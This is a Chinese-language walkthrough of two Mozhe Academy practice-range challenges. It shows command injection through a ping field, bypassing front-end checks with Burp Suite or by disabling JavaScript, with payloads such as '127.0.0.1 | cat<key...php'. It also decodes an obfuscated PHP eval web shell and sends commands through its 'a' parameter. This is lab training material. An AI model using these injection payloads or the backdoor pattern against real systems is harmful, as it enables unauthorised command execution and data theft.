本文所涉及案例均可在墨者学院(https://www.mozhe.cn/)中搜索到,均使用墨者学院在线靶场。
1. 命令注入执行分析(https://mozhe.cn/bug/detail/12)
步骤:
1.1 信息收集
查看页面源代码是否有key,右键查看源代码:
发现没有key,确定操作系统类型,f12,刷新页面并查看网络:
确定为linux ubuntu,试一试ping功能,使用管道符查看一下当前文件夹文件列表:
127.0.0.1 | ls
结果提示格式不正确,接下来可以使用两种方法绕过前端校验:
1.2 使用bp绕过前端校验
使用bp抓包,输入127.0.0.1后进行bp拦截,发送重试模块,修改为127.0.0.1 | ls,响应中出现了key_305332333817577.php:
为了打开key_305332333817577.php文件,需要将请求改为127.0.0.1 | cat<key_305332333817577.php,<为重定向,目的为模仿命令行中的回车效果:
从响应获取到key。
1.3 禁用js绕过前端校验
使用火狐渗透版禁用js,然后输入127.0.0.1 | ls:
显示key_305332333817577.php文件,输入127.0.0.1 | cat<key_305332333817577.php:
2. 代码分析溯源(https://mozhe.cn/bug/detail/13)
步骤:
先信息收集,查看页面源代码是否有key:
页面显示:
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
可以通过访问查看代码内容,先将代码改为打印:
<?php
print(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
?>
再放入phpstudy的www文件夹中,通过浏览器打开:
说明可以通过a接收参数,将命令传入a验证:
http://*/f.php?a=ls
查看key_199932769113671.php文件:
http://*/f.php?a=cat<key_199932769113671.php
显示key。